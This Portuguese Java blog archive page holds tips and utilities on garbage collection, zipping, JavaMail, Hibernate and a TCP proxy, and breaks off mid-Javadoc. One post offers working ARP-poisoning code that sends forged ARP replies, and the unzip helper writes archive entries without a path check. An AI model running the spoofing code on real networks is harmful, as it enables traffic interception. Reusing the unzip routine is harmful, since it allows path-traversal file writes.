Mostrando postagens com marcador Java. Mostrar todas as postagens
Mostrando postagens com marcador Java. Mostrar todas as postagens

segunda-feira, 17 de junho de 2013

Ressuscitando objetos em java

Como todos sabemos os objetos em java herdam a classe Object. Na classe Object existe um método chamado "finalize", ou seja, todos os objetos em java possuem esse método por tabela.

protected void finalize(){

}

Esse método é chamado toda vez que o Garbage Collector é acionado para limpar o objeto em questão. Para que um objeto esteja apto a ser eliminado pelo garbage collector o mesmo deve possar por uma das 3 hipóteses abaixo:

1) Object objeto = new Object()
objeto = null // O objeto passou a referenciar nulo, ou seja, a instância antiga já não é mais alcançável, tornando-a apta para a coleta

 2) Object objeto = new Object();
objeto = new Object();  // O objeto passou a apontar para uma nova referência em memória, ou seja, a referência anterior já não é mais alcançável em memória, portanto a mesma está pronta para a coleta de lixo

3) Ilhas de isolamento: Essas ilhas ocorrem quando uma classe possui uma variável de referência para outra classe. Quando um objeto da primeira classe for criado, automaticamente uma referência para a segunda classe será criada, porém se a referência para o primeiro objeto for perdida, ainda existirá uma referência do primeiro para o segundo objeto. O garbage collector consegue distinguir uma ilha de isolamento e nessas condições mesmo que uma aponte para a outra, o início da fila (referência para o primeiro elemento) foi perdida e nada mais podemos fazer com esses objetos, portanto o GC limpará os dois objetos.


Existe uma regra muito interessante com relação ao GC e o método "finalize" que pouca gente conhece. Quando o GC é ativado o método "finalize" é chamado automaticamente no intuito de remover o objeto em questão, porém é possível ressuscitarmos o objeto, impedindo que o mesmo se perca pelo GC conforme exemplo abaixo:


protected void finalize(){

//Método estático que guarda a variável de instância corrente em uma variável estática do sistema
   ClasseRessuscitadora.ressuscitar(this);

}

No caso acima a referência do objeto em questão será salva por uma variável estática através do método "ressuscitar" e não será perdida, portanto é possível dizermos que o objeto será ressuscitado. Mas se fizermos a implementação acima o sistema não entrará em looping e o objeto nunca será eliminado ?? NÃO. É neste ponto que entra uma das regras mais interessantes do GC. Já pensando nessa possibilidade esse método só pode ser interceptado uma ÚNICA vez, ou seja, a próxima vez que o GC tentar limpar esse objeto o mesmo não passará pelo "finalize" e limpará o objeto incondicionalmente.

Espero que tenham gostado!
Abraços pessoal !

quarta-feira, 12 de junho de 2013

Utilitário para zipar byte[]

Pessoal,

Gostaria de compartilhar um código que implementei, são algumas funções para zipar arrays de byte, ou seja, zipa file, zipa byte[] e etc...

Segue o codigo do ZipUtil :

 import java.io.*;  
 import java.util.*;  
 import java.util.zip.*;  
 import java.nio.channels.*;  
 import java.nio.*;  
 public class ZipUtil {  
   public static byte[] compressByteArray(byte[] input) throws Exception {  
     Deflater compressor = new Deflater();  
     compressor.setLevel(Deflater.BEST_COMPRESSION);  
     compressor.setInput(input);  
     compressor.finish();  
     ByteArrayOutputStream bos = new ByteArrayOutputStream(input.length);  
     byte[] buf = new byte[1024];  
     while (!compressor.finished()) {  
       int count = compressor.deflate(buf);  
       bos.write(buf, 0, count);  
     }  
     try {  
       bos.close();  
     } catch (IOException e) {  
     }  
     byte[] compressedData = bos.toByteArray();  
     return compressedData;  
   }  
   public static byte[] uncompressByteArray(byte[] compressedData) throws Exception {  
     Inflater decompressor = new Inflater();  
     decompressor.setInput(compressedData);  
     ByteArrayOutputStream bos = new ByteArrayOutputStream(compressedData.length);  
     byte[] buf = new byte[1024];  
     while (!decompressor.finished()) {  
       try {  
         int count = decompressor.inflate(buf);  
         bos.write(buf, 0, count);  
       } catch (DataFormatException e) {  
       }  
     }  
     try {  
       bos.close();  
     } catch (IOException e) {  
     }  
     byte[] decompressedData = bos.toByteArray();  
     return decompressedData;  
   }  
   public static void main(String args[]) {  
      try {  
      System.out.println("ZipUtil starting.");  
      FileInputStream fis = new FileInputStream("c:\\temp\\test.txt");  
      FileChannel fc = fis.getChannel();  
      byte[] data = new byte[(int) fc.size()];  
      ByteBuffer bb = ByteBuffer.wrap(data);  
      fc.read(bb);   
      System.out.println("Uncompressed Byte Array Size: "+data.length);  
      //Compress the byte array  
      byte [] compressedData = ZipUtil.compressByteArray(data);  
      System.out.println("Compressed Byte Array Size: "+compressedData.length);  
      //uncompress the byte array  
      byte [] uncompressedData = ZipUtil.uncompressByteArray(compressedData);  
      System.out.println("Uncompressed Data: " + new String(uncompressedData));  
     } catch (Exception e) {  
      System.err.println("An error occurred:"+e.toString());  
     }  
   }  
   public static void packZip(File output, List<File> sources) throws IOException  
   {  
     ZipOutputStream zipOut = new ZipOutputStream(new FileOutputStream(output));  
     zipOut.setLevel(Deflater.DEFAULT_COMPRESSION);  
     for (File source : sources)  
     {  
       if (source.isDirectory())  
       {  
         zipDir(zipOut, "", source);  
       } else  
       {  
         zipFile(zipOut, "", source);  
       }  
     }  
     zipOut.flush();  
     zipOut.close();  
   }  
   private static String buildPath(String path, String file)  
   {  
     if (path == null || path.isEmpty())  
     {  
       return file;  
     } else  
     {  
       return path + "/" + file;  
     }  
   }  
   private static void zipDir(ZipOutputStream zos, String path, File dir) throws IOException  
   {  
     if (!dir.canRead())  
     {  
       return;  
     }  
     File[] files = dir.listFiles();  
     path = buildPath(path, dir.getName());  
     for (File source : files)  
     {  
       if (source.isDirectory())  
       {  
         zipDir(zos, path, source);  
       } else  
       {  
         zipFile(zos, path, source);  
       }  
     }  
   }  
   private static void zipFile(ZipOutputStream zos, String path, File file) throws IOException  
   {  
     if (!file.canRead())  
     {  
       return;  
     }  
     zos.putNextEntry(new ZipEntry(buildPath(path, file.getName())));  
     FileInputStream fis = new FileInputStream(file);  
     byte[] buffer = new byte[4092];  
     int byteCount = 0;  
     while ((byteCount = fis.read(buffer)) != -1)  
     {  
       zos.write(buffer, 0, byteCount);  
     }  
     fis.close();  
     zos.closeEntry();  
   }  
   public static void unzipFile(File arquivoZip,String pastaDestino) throws Exception{  
        FileInputStream fin = new FileInputStream(arquivoZip);  
     ZipInputStream zin = new ZipInputStream(fin);  
     ZipEntry ze = null;  
     while ((ze = zin.getNextEntry()) != null) {  
      System.out.println("Unzipping " + ze.getName());  
      FileOutputStream fout = new FileOutputStream(pastaDestino+ze.getName());  
      for (int c = zin.read(); c != -1; c = zin.read()) {  
       fout.write(c);  
      }  
      zin.closeEntry();  
      fout.close();  
     }  
     zin.close();  
   }  
 }  

JavaMail alterando o charset do subject

Pessoal,

Deparei-me com um problema ao utilizar o JavaMail ( mail.jar ), quando o sistema executava a leitura do from de um e-mail que estava na caixa de entrada, a string vinha : =?Cp1252?Q?Administra=E7=E3o_GMAIL?=, e consequentemente gerava um erro em um processamento interno.

Resumindo : não sabia o que fazer.

Googlando um pouco encontrei esse posto do nosso querido stackoverflow : http://stackoverflow.com/questions/3451256/javamail-changing-charset-of-subject-line.

Ou seja, resolvi da seguinte forma : MimeUtility.decodeText(from);

Espero que o post ajude alguém como me ajudou.

Abraços.

segunda-feira, 10 de junho de 2013

Retirar html de uma string

Pessoal,

Mais um código para vcs, segue ai um código simples para retirar um HTML de uma String.

Sei que não é grande coisa, mas sempre precisamos de coisas assim.

 import java.util.ArrayList;  
 import java.util.List;  
 import java.util.regex.Matcher;  
 import java.util.regex.Pattern;  
 public class RetiraHTML {  
      public static void main(String[] args) {  
           String html = "<font color=Firebrick >Etapa: olha ai >>>>> teste BLABLABLA<br>Responsável : JOAQUIM<br>Data: 23/08/2010 13:58</font>dfgfdg <br><br><br>";  
           System.out.println(new RetiraHTML().retiraHTML(html));  
      }  
      public String retiraHTML(String conteudo){  
           String retorno = "";  
           List<Integer[]> posicoes = new ArrayList<Integer[]>();  
           int posicaoInicialAbre = -1;  
           boolean achouAbre = false;  
           for (int i = 0; i < conteudo.length(); i++) {  
                if ('<' == conteudo.charAt(i)){  
                     posicaoInicialAbre = i;  
                     achouAbre = true;  
                }else if ('>' == conteudo.charAt(i)){  
                     if (achouAbre){  
                          achouAbre = false;  
                          posicoes.add(new Integer[]{posicaoInicialAbre,i+1});  
                          posicaoInicialAbre = -1;  
                     }  
                }  
           }  
           String conteudoNovo = conteudo;  
           for (Integer[] integers : posicoes) {  
                if (integers.length == 2){  
                     String achou = conteudo.substring(integers[0], integers[1]);  
                     if ("<br>".equals(achou)){  
                          conteudoNovo = conteudoNovo.replace(achou, "\n");  
                     }else if ((">".equals(achou))||("<".equals(achou))){  
                          conteudoNovo += achou;  
                     }else{  
                          conteudoNovo = conteudoNovo.replace(achou, "");  
                     }  
                }  
           }  
           return conteudoNovo;  
      }  
 }  

Espero que tenha ajudado !

Arp poison java

Pessoal,

Gostaria de compartilhar com vcs uma coisa que ME GUSTA MUCHO !

Eu sei que mta gente vai me criticar falando que java + rede = não e bla bla bla e bla!

To preocupadissimo com isso ! HUEHUaHee

Então, chama-se arp poison, quem não sabe o que é vai ai o link : http://www.vivaolinux.com.br/artigo/ARP-Poisoning-compreenda-os-principios-e-defendase , e ai implementei algo em java usando uma lib mto conhecida pelo pessoal que gosta de linux chamada PCap, vai o link do jar : http://sourceforge.net/projects/jpcap/

Espero que gostem !



 import jpcap.JpcapCaptor;  
 import jpcap.JpcapSender;  
 import jpcap.packet.ARPPacket;  
 import jpcap.packet.EthernetPacket;  
 public class Arp {  
      private static void arpPoisonTarget1(JpcapCaptor captor, byte[] mac) {  
           JpcapSender sender;  
           ARPPacket p;  
           ARPPacket arp;  
           EthernetPacket ether;  
           while (true) {  
                // recebe o arp e le  
                p = (ARPPacket) captor.getPacket();  
                if (p != null && p.operation == 1) {  
                     System.out.println(p.toString());  
                     // source mac - adress spoofing  
                     byte[] mac_fake = new byte[] { (byte) 254, (byte) 253,  
                               (byte) 252, (byte) 240, (byte) 9, (byte) 40 };  
                     // byte[] mac_fake = mac;  
                     byte[] scrip = p.target_protoaddr;  
                     byte[] mac_destination = new byte[] { (byte) 0, (byte) 22,  
                               (byte) 200, (byte) 130, (byte) 123, (byte) 43 };  
                     // pega o mac de destino do pacote recebido   
                     byte[] destip = p.sender_protoaddr;  
                     // cria um pacote de resposta   
                     arp = new ARPPacket();  
                     // parametros do arp ARP   
                     arp.hardtype = ARPPacket.HARDTYPE_ETHER;  
                     arp.prototype = ARPPacket.PROTOTYPE_IP;  
                     arp.operation = ARPPacket.ARP_REPLY;  
                     arp.hlen = 6;  
                     arp.plen = 4;  
                     arp.sender_hardaddr = mac_fake;  
                     arp.sender_protoaddr = scrip;  
                     arp.target_hardaddr = mac_destination;  
                     arp.target_protoaddr = destip;  
                     // Ethernetpakket  
                     ether = new EthernetPacket();  
                     ether.frametype = EthernetPacket.ETHERTYPE_ARP;  
                     ether.src_mac = mac;  
                     ether.dst_mac = mac_destination;  
                     arp.datalink = ether;  
                     // mandando !  
                     sender = captor.getJpcapSenderInstance();  
                     sender.sendPacket(arp);  
                }  
           }  
      }  
 }  

Detalhe : NÃO QUERO SABER O QUE VOCÊ FEZ COM O CÓDIGO, OU SEJA, ESTÁ POR SUA CONTA EM RISCO AMIGUINHO!

É isso.

Abraços aos que fô da família !

Detached Object no Hibernate ou desvincular objeto da sessão

Fala pessoal(como se fosse muita gente),

Gostaria de compartilhar um código com a comunidade, que consiste em retirar totalmente um objeto do hibernate, ou seja desvincular o objeto da sessao e falar "Olha cara, agora é um objeto normal sem proxy sem bags sem NADAA!".

Encontrei alguns problemas quando utilizei RMI ou EJB3 ou xml, sendo que quando uma entidade traz uma lista de objetos e ele é do tipo lazy ou mesmo a lista em si vem como "Bag", no momento que o sistema tenta de-serializar ou transformar o objeto em xml, ele vai como bag e não como list ou collection, 0o ... WTF ??

Pois é, e quando do outro lado vc tem um hibernate3.jar ainda passa, mas e quando não tem ?

Ou quando vc não quer que o objeto não acesse os dados do tipo Lazy ??

Ou quando as versoes do hibernate são diferentes e ele não consegue de-serializar o objeto, da aquele errão e vem na cabeça : E AGORA JOSÉ?

Pois é[2], e a primeira solução que vem na cabeça é : vou copiar as informações para um objeto novo e passar esse objeto, pois ele perderá as referencias com o proxy do hibernate -_- funciona ... mas da um trabalho cabuloso!

Por isso, em algumas discussões em foruns chegamos a essa solução :

 import org.apache.commons.logging.Log;  
 import org.apache.commons.logging.LogFactory;  
 import org.hibernate.Hibernate;  
 import org.hibernate.proxy.HibernateProxy;  
 import javax.xml.bind.annotation.XmlAccessType;  
 import javax.xml.bind.annotation.XmlAccessorType;  
 import javax.xml.bind.annotation.XmlTransient;  
 import java.beans.BeanInfo;  
 import java.beans.Introspector;  
 import java.beans.PropertyDescriptor;  
 import java.lang.reflect.Constructor;  
 import java.lang.reflect.Field;  
 import java.lang.reflect.Method;  
 import java.util.ArrayList;  
 import java.util.Collection;  
 import java.util.Collections;  
 import java.util.HashMap;  
 import java.util.HashSet;  
 import java.util.List;  
 import java.util.Map;  
 import java.util.Set;  
 public class HibernateDetachUtility {  
   private static final Log LOG = LogFactory.getLog(HibernateDetachUtility.class);  
   public static enum SerializationType {  
     SERIALIZATION, JAXB  
   }  
   public static void nullOutUninitializedFields(Object value, SerializationType serializationType) throws Exception {  
     long start = System.currentTimeMillis();  
     Set<Integer> checkedObjs = new HashSet<Integer>();  
     nullOutUninitializedFields(value, checkedObjs, 0, serializationType);  
     long duration = System.currentTimeMillis() - start;  
     if (duration > 1000) {  
       LOG.info("Detached [" + checkedObjs.size() + "] objects in [" + duration + "]ms");  
     } else {  
       LOG.debug("Detached [" + checkedObjs.size() + "] objects in [" + duration + "]ms");  
     }  
   }  
   private static void nullOutUninitializedFields(Object value, Set<Integer> nulledObjects, int depth,  
     SerializationType serializationType) throws Exception {  
     if (depth > 50) {  
       LOG.warn("Getting different object hierarchies back from calls: " + value.getClass().getName());  
       return;  
     }  
     if ((value == null) || nulledObjects.contains(System.identityHashCode(value))) {  
       return;  
     }  
     nulledObjects.add(System.identityHashCode(value));  
     if (value instanceof Object[]) {  
       Object[] objArray = (Object[]) value;  
       for(int i = 0; i < objArray.length; i++)  
       {  
         nullOutUninitializedFields(objArray[i], nulledObjects, depth +1, serializationType);  
       }  
     } else if (value instanceof Collection) {  
       // Null out any entries in initialized collections  
       for (Object val : (Collection) value) {  
         nullOutUninitializedFields(val, nulledObjects, depth + 1, serializationType);  
       }  
     } else if (value instanceof Map) {  
       for (Object key : ((Map)value).keySet()) {  
         nullOutUninitializedFields(((Map)value).get(key), nulledObjects, depth+1, serializationType);  
         nullOutUninitializedFields(key, nulledObjects, depth+1, serializationType);  
       }  
     }   
     if (serializationType == SerializationType.JAXB) {  
       XmlAccessorType at = value.getClass().getAnnotation(XmlAccessorType.class);  
       if (at != null && at.value() == XmlAccessType.FIELD) {  
         //System.out.println("----------XML--------- field access");  
         nullOutFieldsByFieldAccess(value, nulledObjects, depth, serializationType);  
       } else {  
         //System.out.println("----------XML--------- accessor access");  
         nullOutFieldsByAccessors(value, nulledObjects, depth, serializationType);  
       }  
     } else if (serializationType == SerializationType.SERIALIZATION) {  
       //        System.out.println("-----------JRMP-------- field access");  
       nullOutFieldsByFieldAccess(value, nulledObjects, depth, serializationType);  
     }  
   }  
   private static void nullOutFieldsByFieldAccess(Object object, Set<Integer> nulledObjects, int depth,  
     SerializationType serializationType) throws Exception {  
     Class tmpClass = object.getClass();  
     List<Field> fieldsToClean = new ArrayList<Field>();  
     while (tmpClass != null && tmpClass != Object.class) {  
       Collections.addAll(fieldsToClean, tmpClass.getDeclaredFields());  
       tmpClass = tmpClass.getSuperclass();  
     }  
     nullOutFieldsByFieldAccess(object, fieldsToClean, nulledObjects, depth, serializationType);  
   }  
   @SuppressWarnings("unchecked")  
   private static void nullOutFieldsByFieldAccess(Object object, List<Field> classFields, Set<Integer> nulledObjects, int depth,  
                           SerializationType serializationType) throws Exception {  
     boolean accessModifierFlag = false;  
     for (Field field : classFields) {  
       accessModifierFlag = false;  
       if (!field.isAccessible()) {  
         field.setAccessible(true);  
         accessModifierFlag = true;  
       }  
       Object fieldValue = field.get(object);  
       if (fieldValue instanceof HibernateProxy) {  
         Object replacement = null;  
         if (fieldValue.getClass().getName().contains("javassist")) {  
           Class assistClass = fieldValue.getClass();  
           try {  
             Method m = assistClass.getMethod("writeReplace");  
             replacement = m.invoke(fieldValue);  
             String className = fieldValue.getClass().getName();  
             className = className.substring(0, className.indexOf("_$$_"));  
             if (!replacement.getClass().getName().contains("hibernate")) {  
               nullOutUninitializedFields(replacement, nulledObjects, depth+1, serializationType);  
               field.set(object, replacement);  
             } else {  
               replacement = null;  
             }  
           } catch (Exception e) {  
             System.out.println("Unable to write replace object " + fieldValue.getClass());  
           }  
         }  
         if (replacement == null) {  
              field.set(object, replacement);  
           /*String className = ((HibernateProxy) fieldValue).getHibernateLazyInitializer().getEntityName();  
           Class clazz = Class.forName(className);  
           Class[] constArgs = {Integer.class};  
           Constructor construct = null;  
           try {  
             construct = clazz.getConstructor(constArgs);  
             replacement = construct.newInstance((Integer) ((HibernateProxy) fieldValue).getHibernateLazyInitializer().getIdentifier());  
             field.set(object, replacement);  
           } catch (NoSuchMethodException nsme) {  
             try {  
               Field idField = clazz.getDeclaredField("id");  
               Constructor ct = clazz.getDeclaredConstructor();  
               ct.setAccessible(true);  
               replacement = ct.newInstance();  
               if (!idField.isAccessible()) {  
                 idField.setAccessible(true);  
               }  
               idField.set(replacement, (Integer) ((HibernateProxy) fieldValue).getHibernateLazyInitializer().getIdentifier());  
             } catch (Exception e) {  
               e.printStackTrace();  
               System.out.println("No id constructor and unable to set field id for base bean " + className);  
             }  
             field.set(object, replacement);  
           }*/  
         }  
       } else {  
         if (fieldValue instanceof org.hibernate.collection.PersistentCollection) {  
           // Replace hibernate specific collection types  
           if (!((org.hibernate.collection.PersistentCollection) fieldValue).wasInitialized()) {  
             field.set(object, null);  
           } else {  
             Object replacement = null;  
             if (fieldValue instanceof Map) {  
               replacement = new HashMap((Map) fieldValue);  
             } else if (fieldValue instanceof List) {  
               replacement = new ArrayList((List) fieldValue);  
             } else if (fieldValue instanceof Set) {  
               replacement = new HashSet((Set) fieldValue);  
             } else if (fieldValue instanceof Collection) {  
               replacement = new ArrayList((Collection)fieldValue);  
             }  
             setField(object, field.getName(), replacement);  
             nullOutUninitializedFields(replacement, nulledObjects, depth+1, serializationType);  
           }  
         } else {  
           if (fieldValue != null &&  
               (fieldValue.getClass().getName().contains("org.rhq") ||  
                 fieldValue instanceof Collection ||  
                 fieldValue instanceof Object[] ||   
                 fieldValue instanceof Map))  
             nullOutUninitializedFields((fieldValue), nulledObjects, depth+1, serializationType);  
         }  
       }  
       if (accessModifierFlag) {  
         field.setAccessible(false);  
       }  
     }  
   }  
   private static void nullOutFieldsByAccessors(Object value, Set<Integer> nulledObjects, int depth,  
     SerializationType serializationType) throws Exception {  
     // Null out any collections that aren't loaded  
     BeanInfo bi = Introspector.getBeanInfo(value.getClass(), Object.class);  
     PropertyDescriptor[] pds = bi.getPropertyDescriptors();  
     for (PropertyDescriptor pd : pds) {  
       Object propertyValue = null;  
       try {  
         propertyValue = pd.getReadMethod().invoke(value);  
       } catch (Throwable lie) {  
         if (LOG.isDebugEnabled()) {  
           LOG.debug("Couldn't load: " + pd.getName() + " off of " + value.getClass().getSimpleName(), lie);  
         }  
       }  
       if (!Hibernate.isInitialized(propertyValue)) {  
         try {  
           if (LOG.isDebugEnabled()) {  
             LOG.debug("Nulling out: " + pd.getName() + " off of " + value.getClass().getSimpleName());  
           }  
           Method writeMethod = pd.getWriteMethod();  
           if ((writeMethod != null) && (writeMethod.getAnnotation(XmlTransient.class) == null)) {  
             pd.getWriteMethod().invoke(value, new Object[] { null });  
           } else {  
             nullOutField(value, pd.getName());  
           }  
         } catch (Exception lie) {  
           LOG.debug("Couldn't null out: " + pd.getName() + " off of " + value.getClass().getSimpleName()  
             + " trying field access", lie);  
           nullOutField(value, pd.getName());  
         }  
       } else {  
         if ((propertyValue instanceof Collection)  
           || ((propertyValue != null) && propertyValue.getClass().getName().startsWith("org.rhq.core.domain"))) {  
           nullOutUninitializedFields(propertyValue, nulledObjects, depth + 1, serializationType);  
         }  
       }  
     }  
   }  
   private static void setField(Object object, String fieldName, Object newValue) {  
     try {  
       Field f = object.getClass().getDeclaredField(fieldName);  
       if (f != null) {  
         // try to set the field this way  
         f.setAccessible(true);  
         f.set(object, newValue);  
       }  
     } catch (NoSuchFieldException e) {  
       // ignore this  
     } catch (IllegalAccessException e) {  
       // ignore this  
     }  
   }  
   private static void nullOutField(Object value, String fieldName) {  
     try {  
       Field f = value.getClass().getDeclaredField(fieldName);  
       if (f != null) {  
         // try to set the field this way  
         f.setAccessible(true);  
         f.set(value, null);  
       }  
     } catch (NoSuchFieldException e) {  
       // ignore this  
     } catch (IllegalAccessException e) {  
       // ignore this  
     }  
   }  
 }  

Detalhe que eu comentei a parte do ID, pois nao é todo mundo que usa o nome "ID" como chave, portanto caso necessário implementem !

Ele funciona sem a parte do id, pois objetos lazy seriam "buscados" nesse momento, caso não haja a necessidade, deixem comentado pois ele setará NULL nos objetos.

\m/(0.0)\m/

Espero que tenha ajudado pessoal !

Abraços !

quinta-feira, 6 de junho de 2013

Proxy em Java

Pessoal,

Gostaria de compartilhar um código simples que fiz, é um proxy que fiz para debugar algumas operações que trafegavam pela rede.

Espero que apreciem !

 //------------------------------------------------  
 import java.net.*;  
 import java.io.*;  
 class Proxy {  
   public static void main(String args[]) throws IOException {  
     int localport = 3128;  
     int remoteport = 3128;  
     String remotehost = "192.168.1.1";  
     boolean error = false;  
     Socket incoming, outgoing = null;  
     ServerSocket Server = null;  
     if (localport <= 0) {  
       System.err.println("Error: Invalid Local Port Specification "  
           + "\n");  
       error = true;  
     }  
     if (remoteport <= 0) {  
       System.err.println("Error: Invalid Remote Port Specification "  
           + "\n");  
       error = true;  
     }  
     if (remotehost == null) {  
       System.err.println("Error: Invalid Remote Host Specification "  
           + "\n");  
       error = true;  
     }  
     // If any errors so far, exit program  
     if (error)  
       System.exit(-1);  
     // Test and create a listening socket at proxy  
     try {  
       Server = new ServerSocket(localport);  
     } catch (IOException e) {  
       e.printStackTrace();  
     }  
     // Loop to listen for incoming connection, and accept if there is one  
     while (true) {  
       try {  
         incoming = Server.accept();  
         // Create the 2 threads for the incoming and outgoing traffic of  
         // proxy server  
         outgoing = new Socket(remotehost, remoteport);  
         ProxyThread thread1 = new ProxyThread(incoming, outgoing);  
         thread1.start();  
         ProxyThread thread2 = new ProxyThread(outgoing, incoming);  
         thread2.start();  
       } catch (UnknownHostException e) {  
         // Test and make connection to remote host  
         System.err.println("Error: Unknown Host " + remotehost);  
         System.exit(-1);  
       } catch (IOException e) {  
         System.exit(-2);// continue;  
       }  
       /*  
        * catch (IOException e) {  
        * System.err.println("Error: Couldn't Initiate I/O connection for "  
        * + remotehost); System.exit(-1); }  
        */  
     }  
   }  
 }  
 //------------------------------------------------  



e a thread ...



 //------------------------------------------------ 
 import java.net.*; 
 import java.io.*; 
 public class ProxyThread extends Thread { 
   Socket incoming, outgoing; 
   // Thread constructor 
   ProxyThread(Socket in, Socket out) { 
     incoming = in; 
     outgoing = out; 
   } 
   // Overwritten run() method of thread -- does the data transfers 
   public void run() { 
     byte[] buffer = new byte[1024]; 
     int numberRead = 0; 
     OutputStream ToClient; 
     InputStream FromClient; 
     try { 
       ToClient = outgoing.getOutputStream(); 
       FromClient = incoming.getInputStream(); 
       while (true) { 
         numberRead = FromClient.read(buffer); 
         //System.out.println("read " + new String(buffer)); 
         // buffer[numberRead] = buffer[0] = (byte)'+'; 
         if (numberRead == -1) { 
           incoming.close(); 
           outgoing.close(); 
         } 
         ToClient.write(buffer, 0, numberRead); 
       } 
     } catch (IOException e) { 
     } catch (ArrayIndexOutOfBoundsException e) { 
     } 
   } 
 } 
 //------------------------------------------------ 

sexta-feira, 5 de novembro de 2010

Instalação Plugin TomCat no Eclipse.

Acessem a url:

http://www.sysdeo.com/sysdeo/eclipse/tomcatplugin

baixem o arquivo correspondente a sua versão do Eclipse/TomCat e
descompacte na pasta Plugins no diretorio de instalação do seu
Eclipse (instalação padrão de plugins no Eclipse).

Apos isso é só reiniciar a IDE e configurar conforme a versão do
TomCat que você tem instalada.

Com a instalação deste plugin, você poderá controlar o servidor e
também executar/debugar suas aplicações web sem problemas, direto da
sua IDE.(como acontece no NetBeans).

Para mais detalhes da instalação/configuração/execução, acessem
este endereço.

https://www.dev.java.net/files/documents/353/13028/eclipse_tomcat.swf

Note que haverá alterações na forma de configuração,
principalmente em relação as versões dos softwares.

O meu funcionou, com poucas alterações.

quarta-feira, 29 de setembro de 2010

ResultTransformer Inteligente =)

Pessoal .. estou passando aki p vcs um result transformer inteligente ! ....


 /**  
  *   
  * Result transformer inteligente  
  *   
  * @author Sergio , Alterado por Caio Rodrigo Paulucci  
  *   
  * @see AliasToBeanResultTransformer  
  *   
  *   
  *   
  *   
  *   
  *   Similar ao AliasToBeanResultTransformer poróm ele aceita o uso de  
  *   "nestedProperties" (aquela que vocó usa na JSTL ou EL)  
  *   
  *   no criteria e pode instanciar mais de um tipo de classe.  
  *   
  *   Inclusive uma parte do código foi copiado da classe original.  
  *   
  * <br />  
  *   
  *   <b>1ó Forma de utilização</b>  
  *   
  *   caso mais comum criar uma lista de objetos do mesmo tipo  
  *   (HistoricoRegistroVO)  
  *   
  * <br />  
  *   
  *   <code>  
 Criteria crit= createCriteria(HistoricoRegistroVO.class);  
 criteria.add(Restrictions.eq("this.registroVO.id", idDemanda));  
 ProjectionList projectionList = Projections.projectionList();  
 //seleciono somente os campos que me interessam, na estrutura real dos objetos (sem a necessidade de criação dos DTOs)  
 projectionList.add(Projections.property("this.ativo"), "ativo");  
 projectionList.add(Projections.property("this.descricao"), "descricao");  
 projectionList.add(Projections.property("this.encaminhamentoInterno"), "encaminhamentoInterno");  
 criteria.createAlias("this.usuarioVO", "usr");  
 criteria.createAlias("usr.unidadeVO", "unr");  
 projectionList.add(Projections.property("usr.login"), "usuarioVO.login");  
 projectionList.add(Projections.property("usr.nome"), "usuarioVO.nome");  
 projectionList.add(Projections.property("usr.id"), "usuarioVO.id");  
 projectionList.add(Projections.property("unr.descricao"), "usuarioVO.unidadeVO.descricao");  
 projectionList.add(Projections.property("this.dataUltimoMovimento"), "dataUltimoMovimento");  
 criteria.setProjection(projectionList);  
 //transformo o resultado no objeto passado e somente as propriedades e objetos que selecionei estóo preenchidas  
 criteria.setResultTransformer(new InteligentResultTransformer(HistoricoRegistroVO.class));  
 List resultado = criteria);  
 </code>  
  *   
  *   
  *   
  *   
  *   
  *   <b>2ó Forma de utilização</b>  
  *   
  *   Criar uma lista de objetos com um tipo definido pelo usuório  
  *   (programmer)  
  *   
  *   <code>  
 //Considerando que temos uma classe RegistroDenunciaReclamacaoVO que ó filho do RegistroVO  
 //preciso instónciar a classe correta de acordo com uma determinada condição  
 Criteria crit= createCriteria(RegistroVO.class);  
 criteria.createAlias("this.tipoRegistroVO", "tir");  
 criteria.createAlias("this.instituicaoFinanceiraVO", "ifr", Criteria.LEFT_JOIN);  
 ProjectionList projectionList = Projections.projectionList();  
 //seleciono os campos que me interessam  
 projectionList.add(Projections.property("this.enderecoVO"), "enderecoVO");  
 projectionList.add(Projections.property("ifr.nomeFantasia"), "instituicaoFinanceiraVO.nomeFantasia");  
 projectionList.add(Projections.property("tir.descricao"), "tipoRegistroVO.descricao");  
 projectionList.add(Projections.property("tir.id"), "tipoRegistroVO.id");  
 projectionList.add(Projections.property("tir.comportamentoTipoRegistroVO"), "tipoRegistroVO.comportamentoTipoRegistroVO");  
 projectionList.add(Projections.property("this.id"), "id");  
 projectionList.add(Projections.property("this.idCrm"), "idCrm");  
 projectionList.add(Projections.property("this.idConsulta"), "idConsulta");  
 //esses dois campos pertencem a classe RegistroDenunciaReclamacaoVO somente  
 projectionList.add(Projections.property("this.dataRanking"), "dataRanking");  
 projectionList.add(Projections.property("this.rankingCarimbo"), "rankingCarimbo");  
 criteria.setProjection(projectionList);  
 //ao invós de passar a classe como no exemplo anterior  
 //eu passo uma classe que implementa a interface ResultClass  
 InteligentResultTransformer rt = new InteligentResultTransformer(new ResultClass(){  
 //aqui eu recebo um Map onde tenho como chave os alias adicionados no projectionList  
 //e como valores os resultados retornados pela consulta  
 public Class getResultClass(Map resultMap) {  
 //faóo uma comparação e retorno o tipo da classe que quero criar a instóncia para essa linha  
 ComportamentoTipoRegistroVO comportamento = (ComportamentoTipoRegistroVO) resultMap.get("tipoRegistroVO.comportamentoTipoRegistroVO");  
 if(DadosConstantes.COMPORTAMENTO_INFORMACAO.equals(comportamento.getId())){  
 return RegistroVO.class;  
 }  
 if(DadosConstantes.COMPORTAMENTO_IRREGULARIDADE.equals(comportamento.getId())){  
 return RegistroDenunciaReclamacaoVO.class;  
 }  
 return null;  
 }  
 });  
 criteria.setResultTransformer(rt);  
 criteria);  
 </code>  
  *   
  *   
  *   
  *   
  *   
  *   
  */  
 public class InteligentResultTransformer implements ResultTransformer {  
      private static final long serialVersionUID = -7124932916590109519L;  
      /**  
       *   
       * Classe de resultado (se o tipo da classe for fixo)  
       */  
      private Class resultClass;  
      /**  
       *   
       * objeto para acessar as propriedades de um tipo de classe  
       */  
      private PropertyAccessor propertyAccessor;  
      /**  
       *   
       * Implemntaóao que deveró fornecer java.lang.Class a ser instónciado para a  
       * linha atual do registro  
       */  
      private ResultClass rc;  
      /**  
       *   
       * Cache de propertyAccessor, para evitar de ficar instónciando esse fiduma  
       * toda hora.  
       *   
       * Se nóo fosse pesado instanciar ele o hibernate nóo usaria uma varióvel de  
       * instóncia  
       *   
       * para guardar ele  
       */  
      private HashMap propertyAccessors = new HashMap();  
      /**  
       *   
       * Tupla de registros retornados pela consulta  
       */  
      private Object[] tuple;  
      /**  
       *   
       * Alias adicionados no Projections.projectionList()  
       */  
      private String[] aliases;  
      /**  
       *   
       * Tipo dinamico para a coleção a ser criada  
       *   
       * @param rc  
       */  
      public InteligentResultTransformer(ResultClass rc) {  
           this.rc = rc;  
      }  
      /**  
       *   
